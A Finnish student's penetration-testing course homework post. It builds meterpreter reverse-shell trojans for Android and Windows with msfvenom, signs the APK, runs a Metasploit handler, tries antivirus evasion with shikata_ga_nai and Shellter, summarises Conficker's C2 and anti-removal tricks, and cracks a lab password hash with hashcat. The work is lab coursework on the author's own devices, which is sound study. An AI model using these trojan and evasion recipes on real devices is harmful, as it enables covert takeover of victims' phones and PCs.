Tunkeutumistestaus – h5

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen harjoituksen enimmäkseen virtuaalikoneella, johon on asennettu Kali 2018-2.

h5

  1. Tee troijan hevosia, vähintään kaksi erilaista. Voit tehdä esimerkiksi saastuneen asennusohjelman, dokumentteja joissa on vihamielisiä makroja sekä älypuhelimen apsin.

Tehdään siis kaksi troijan hevosta. Aloitetaan ensiksi Androidille asennettavasta ohjelmasta.

https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/

https://hackingvision.com/2017/02/18/hack-android-phone-metasploit/

Alunperin ajattelin tehdä tämän osion oikealla puhelimella, mutta kaikki vanhat laitteeni ovat vuosien saatossa luopuneet elämästä täysin, joten mennään Android emulaattorilla.

Tehdään asennustiedosto msfvenomilla ja payloadina käytetään meterpreteriä:

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=9001 R> MALWARE-METERPRETER-ANDROID.apk

Komento olettaa, että ollaan valmiiksi käyttäjän kotihakemistossa. Ohjeen mukaan Android asennustiedostot pitää vielä allekirjoittaa, jotenka edetään ohjeen mukaan:

Tehdään allekirjoittamista varten avain:

$ keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

-v tarkoittaa verbosea

-keystore tarkoittaa, että käytetään äsken tehtyä avainvarastoa

-alias on ilmeisesti allekirjoitettavan sovelluksen aliasnimi, pitää täsmätä myöhemmässä kohdassa olevan aliaksen kanssa

-keyalg on määrittelee algoritmin

-keysize sen koon

-validity määrittelee ajan, kuinka kauan allekirjoitus on voimassa

Generointi kysyy tämän jälkeen nimeä ja organisaation nimeä. En ole varma ovatko nämä tärkeitä, mutta laitoin ohjeen mukaan itselleni kuvitteellisen nimen, organisaatioksi Google ja kaupungiksi Helsinki. Lisäksi country code on EU.

Kun avain on tehty, allekirjoitetaan sovellus:

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore MALWARE-METERPRETER-ANDROID.apk alias_name

Jonka jälkeen:

$ jarsigner --verify -verbose -certs MALWARE-METERPRETER-ANDROID.apk

Komennon ajaminen heittää muutamia virheitä sertifikaattien ketjuista ilmeisesti, mutta katsotaan josko se toimisi silti laitteella.

Laitetaan seuraavaksi pystyyn emuloitu Android.

https://code.google.com/archive/p/android-x86/downloads

https://www.howtogeek.com/164570/how-to-install-android-in-virtualbox/

Linkistä löytyy Android 4.3 .iso tiedosto. Lisätessä kone VirtualBoxiin, asetuksiksi täytyy laittaa seuraavat:

Muistin määrän on oltava enintään 2048 MB, koska käytämme 32-bittistä Androidia. Muut asetukset menevät vakioina, kovalevyksi VDI ja alkukooksi laitoin 8 GB.

Kun kone käynnistyy, osoita sille Androidin .iso tiedosto. Kun asennusvalikko aukeaa, otetaan Install.

Tämän jälkeen Create/Modify partitions.

Luodaan uusi partition valitsemalla New, primary ja kovalevyn koko, tässä noin 8,500 MB, ja merkataan se boottaavaksi, Bootable. Lopuksi Write ja Yes. Kun tämä on valmis, otetaan Exit ja valikosta sda1 Linux VBOX HARDDISK. Ohje neuvoo ottamaan levyn tiedostosysteemiksi ext4, mutta meillä on ilmeisesti liian vanha Android siihen, joten otetaan ext3. Kone kysyy asennuksen päällekirjoittamisesta ja GRUBin asentamisesta, vastataan kyllä.

Lopuksi vielä Run Android-x86, ja viimeinkin meillä on emuloitu Android pystyssä.

 

Tiedoston saaminen emuloidulle Androidille koitui suureksi ongelmaksi. En saanut jaettuja kansioita millään toimimaan, luultavasti koska VirtualBoxin Guest Additioneja ei saanut Androidille asennettua. Yritin saada tiedostoa siirretty uploadaamalla sen omaan palvelimeen hetkeksi, mutta vanhan androidin selaimet eivät tainneet osata muodostaa https yhteyttä, joka tapauksessa sivuille ei vain päässyt. Sähköpostin kautta Android ei osannut tehdä .apk liitteelle yhtään mitään. Lisäksi selaimet tuppasivat kaatumaan jatkuvasti joten joudun valitettavasti toistaiseksi hylkäämään tämän idean. Yritän vielä uudempaa Androidia 7.1 täältä:

https://osdn.net/projects/android-x86/downloads/67834/android-x86-7.1-r2.iso/

En kuitenkaan saanut tätäkään toimimaan. Palaan tähän myöhemmin.

 

Pari tuntia myöhemmin löysin vielä yhden vanhan laitteen, jossa on Android 4.1.

Tällä pääsin käsiksi Dropboxiin, josta latasin tiedoston. Se asentui ongelmitta, kun asetuksista salli tuntemattomat lähteet. Jokin asetuksissa on pielessä, koska en saanut shelliä. Mahdollisesti VirtualBoxin portforwardauksessa jokin mättää, kun tabletin pitäisi yhdistää natattuun kaliin.

Laitoin Kalin ”Bridged Adapter” tilaan, jotta se näkyy sisäverkossa omana laitteena. Tämän jälkeen tein .apk paketin uudestaan siten, että asetin LHOST osoitteen Kalin paikalliseksi osoitteeksi. Yritin aloittaa kuuntelun metasploitin kautta näin:

> use exploit/multi/handler
> set payload android/meterpreter/reverse_tcp
> set LHOST paikallinen.ip
> set LPORT 9001
> exploit

Tämä avaa kuuntelusession. Mitään yhteyttä ei näy sovelluksen asennuksesta huolimatta.

Testinä avaan reitittimestä portin 9001 tälle Kalille ja Metasploit saikin heti Meterpreter sessiosta kiinni! Olemme siis sisällä. Roottia varten pitäisi tehdä jotain kikkoja.

 

Hypätään Windows koneen tartuttamiseen samalla tavalla.

https://resources.infosecinstitute.com/how-to-attack-windows-10-machine-with-metasploit-on-kali-linux/

Edetään ohjeen mukaan, ja yritetään avata virtuaaliseen Windowsiin meterpreter sessio.

Latasin virtuaalikoneen täältä:

https://developer.microsoft.com/fi-fi/windows/downloads/virtual-machines

Valitsin Windows 10 Enterprisen VirtualBoxille.

Tehdään asennustiedosto samaan tapaan kuin aiemminkin:

$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.10.52 LPORT=9001 -o superhack32.exe

Katsotaan toimiiko, jos tämän suorittaa nyt. Siirrän tiedoston samaan tapaan Dropboxin kautta. Yllätyksekseni huomasin, että Dropbox skannaakin tiedostoja itse, koska tiedosto poistuu itsestään ilman ilmoituksia. Zipattuna saan kuitenkin ladattua sen. Tallennusvaiheessa Windows huomaa sen olevan virus, ja poistaa sen. Eli tiedosto pitää salata jotenkin. Shikata_ga_nai jää Defenderiin kiinni jopa 30 iteraation jälkeen, joten se ei selkeästi ole vaihtoehto. Kokeillaan Shellteriä.

https://www.helloitsliam.com/2018/04/25/webinar-series-update-evading-anti-virus/

Ohjelma ladataan .exe tiedostona, eli ohjelmaa varten pitää asentaa 32-bittinen wine:

$ dpkg --add-architecture i386
$ sudo apt-get update
$ sudo apt-get install wine32

Lopuksi oppaan mukaan haetaan tiedosto minkä sisään haittaohjelma laitetaan, Notepad++.

Shellter käynnistetään sen omasta kansiosta komennolla shellter.

Ohjelma kysyy Stealth modesta, otetaan Y ja valitaan haluttu payload, kun ohjelma sitä kysyy, meterpreter ja reverse_tcp.

> L
> 1

Tämäkään ei tosin valitettavasti pääse Defenderistä ohi. Luultavasti homma menisi siis käsin vääntämiseksi, eli tyydymme sammuttamaan Defenderin. Kokeillaan saastunutta Notepad++ tiedostoa uudelleen.

Nyt pääsemme varoituksista huolimatta ajamaan tiedoston. Asennustiedosto heittää ihan ihme virhettä, mutta metasploitissa vilahtaa meterpreter sessio, joka kuitenkin sulkeutuu heti kun virheviesti suljetaan.

Uudelleen yrittämisen jälkeen tulee sama virhe, mutta kun pidän virheviestiä auki, sessio pysyy auki, joten sisällä ollaan…

  1. Mitä uusia keksintöjä Confickerissa esiteltiin? Lue jokin artikkeli Confickerista. ‘conficker analysis’ on hyvä hakusana. Kiinnitä huomiosi C2:n.

Conficker käytti versiossa C yhteyksiinsä peer-to-peer yhteyksiä, joiden kautta se pystyi etänä ajamaan koodia missä vain saastuneessa koneessa.

Conficker.C yrittää myös tarkistaa, että sijaitseeko se virtuaalikoneen sisällä.

Conficker.C yrittää estää ohjelman poistamista lukitsemalla sen käyttämän DLL tiedoston, mikä estää skannauksen ja poistamisen. Samoin se poistaa rekisterin kautta Administratorin oikeudet tiedostoon. Myös Windowsin turvallisuuteen ja päivityksiin liittyvät palvelut kytketään pois päältä. Ohjelma jopa pyrkii estämään pääsyn  erilaisille virustorjuntaa tarjoaville nettisivuille, jotta käyttäjän on vaikeampi päästä käsiksi poistotyökaluihin. Tämän lisäksi Conficker tappaa prosesseja, jotka liittyy torjuntaohjelmistojen diagnostiikkaan tai poistotyökaluihin.

Tämän lisäksi vikasietotilaan käynnistyminen estetään.

Mato oli myös ensimmäisiä, jotka obfuskoi omaa toimintaansa. DLL tiedoston sisältö on kryptattuna, kunnes se lataa itsensä muistiin. Dekryptio on mukautuvaa koodia ja sisältää muutenkin paljon epäselviä viittauksia. Osa madon koodista on dekryptoinnin jälkeekin täynnä ”spagettia” ja vaikeasti luettavaa. Sisältö on salattu ilmeisesti sen takia, että on pyritty pitämään salassa peer-to-peer ominaisuuden implementointi.

Virtuaalikoneen testaus tehdään jotenkin Sleep APIn kautta, jos Conficker päättelee olevansa virtuaalisoidussa koneessa, se tekee lisää testejä, joissa yleisesti tiedetään, että virtualisoitu kone vastaa eri tavalla, ja lähettää tämän tiedon eteenpäin peer-to-peer verkon kautta.

Kun Conficker.C on aktiivisena koneella, se pyrkii paikkaamaan saman haavoittuvuuden, kuin minkä kautta se itse pääsi sisään.

Confickerin selkeästi ”suurimpana” ominaisuutena on peer-to-peer verkko. Käyttöönotto suoritetaan vasta, kun kaikki muut tarkistukset ja tartuttamiset on tehty. 5-35 minuutin jälkeen se pyrkii käynnistämään verkon luonnin. Tämän jälkeen mato odottaa taas 30-90 minuuttia, ennen kuin verkossa olevat koneet ottavat takaisin yhteyden, ”callhome procedure”. Verkkoa varten tehdään C:/Windows/Temp/ kansion alle uuden kansion, jota se käyttää jakaessaan tiedostoja.

Jaetut tiedostot ovat allekirjoitettuja. Kansiossa pidetään enintään 64 tiedostoa kerrallaan, jos tämä ylittyy, poistetaan tiedostot joiden käytöstä on eniten aikaa.

Conficker.C yrittää ottaa yhteyden kotiin kerran päivässä. Vaihtoehtoisia domaineja on 50 000 per päivä, joista se valitsee satunnaisesti 500. Jokaista koitetaan yhden kerran päivässä 10-50 sekunnin välein. C variantti toimii hitaammin kuin B variantti, minkä voisi luulla parantavan madon huomaamattomuutta.

  1. Etsi Krebsin tai Schneierin blogeista ideoita pentestiin. Näissä blogeissa on paljon turvallisuuteen liittyviä aiheita, tee erityisesti huomioita tunkeutumistestaukseen liittyen.

https://www.schneier.com/essays/archives/2018/01/the_new_way_your_com.html

Bruce Schneierin essee puhuu vuoden alussa paljastuneista Spectre ja Meltdown haavoittuvuuksista. Molemmat haavoittuvuudet liittyvät siihen, miten prosessorit pyrkivät ennakoimaan tulevia tehtäviä. Essee kertoo, että siinä missä Meltdown voidaan korjata asentamalla päivitys, Spectre sen sijaan on mahdoton korjata muuttamatta prosessorien rakennetta.

Uutena mahdollisuutena hyökkääjille tulee siis laitteiden fyysiset viat. Spectre korjaantuu vasta, kun haavoittuvat laitteet vaihdetaan uusiin. Tämä toisaalta nostaa hyökkäyksien taitokynnystä, mutta joku tämänkin ongelman ratkaisee. Näiden kahden osalta on toistaiseksi ollut onni, että hyökkäys on huomattavasti helpompaa tehdä, kun koneeseen on paikallinen pääsy. Tästä huolimatta, muutamasta paikallisverkon yli tehdystä NetSpectre hyökkäyksestä on todisteita. https://gbhackers.com/netspectre/

https://blog.f-secure.com/cold-boot-attacks/

Tämän ongelman olen oikeastaan tiennyt aiemminkin, mutta F-Securelta on äskettäin tullut kunnollinen postaus asiasta.

Eli ideana on siis, että tietokoneen salaus saadaan purettua, jos tietokone sammuu jotenkin huonosti, kuten esimerkiksi lepotilassa. Tietokoneen sammuessa, tietokoneen muistista voidaan hyvin lyhyen ajan lukea siellä olevaa tietoa. Tätä varten on olemassa erilaisia ohjelmia, joita ajetaan muistitikulta. Hyökkäystä vastaan on kehitetty joitakin tapoja, kuten RAM muistin ylikirjoitus aina, kun tietokone käynnistyy.

Nyt uutena asiana tämänkin pystyy ohittamaan juotostöillä. Eli jos yritykseltä katoaa työläppäri, yrityksen täytyy lähes satavarmasti olettaa, että tietokone saadaan auki ja sisältö esiin.

Haittana on, että tämä tietenkin vaatii fyysistä pääsyä ja aikaa, joten tätä ei voi oikein hyödyntää ilman, että kone on saatu ulos salaiseen paikkaan.

  1. Opettele ja testaa jokin uusi Pentesting-tekniikka kirjasta tai videosta, jonka löydät Safarionlinesta.

https://www.safaribooksonline.com/library/view/penetration-testing-and/1587052083/ch09.html

Kirjassa on kappale salasanoista, hashaamisesta ja niiden murtamisesta. Tästä tulikin mieleen, että aikaisemmalta tunnilta jäi kesken hashcattiin tutustuminen, ja jurpo5 käyttäjän salasana jäi murtamatta.

Siispä yritetään murtaa salasana hashcatilla. Käytetään aikaisemmalla tunnilla talteen otettua jurpo5 käyttäjän hashia:

$6$xIgqlO2H$KO96dDS5ovHSkp2p2AB2QbjFYU2B27Te23pSGa/PF6uMiasB//2UMP27Ih4tuizE8J3nsbYjjNc8aV1nPVdKd/

Selasin Roopen kanssa listoja läpi ja lisäilimme sinne muutamia sanoja ja variaatioita mitä tuli mieleen.

Hashcat ajetaan komennolla

$ hashcat -m 1800 -o haxd.txt hash.txt finnish-unknown.txt

-m on salausmenetelmä, 1800 vastaa Linuxin käyttämää.

-o output tiedoston nimi

hash.txt sijaitsee testikoneelta jurpo5 käyttäjän hashin

finnish-unknown.txt on netistä haettu lista johon lisätty muutamia.

Hetken kuluttua paljastui, että salasana oli autotalli.

This entry was posted in Uncategorised. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.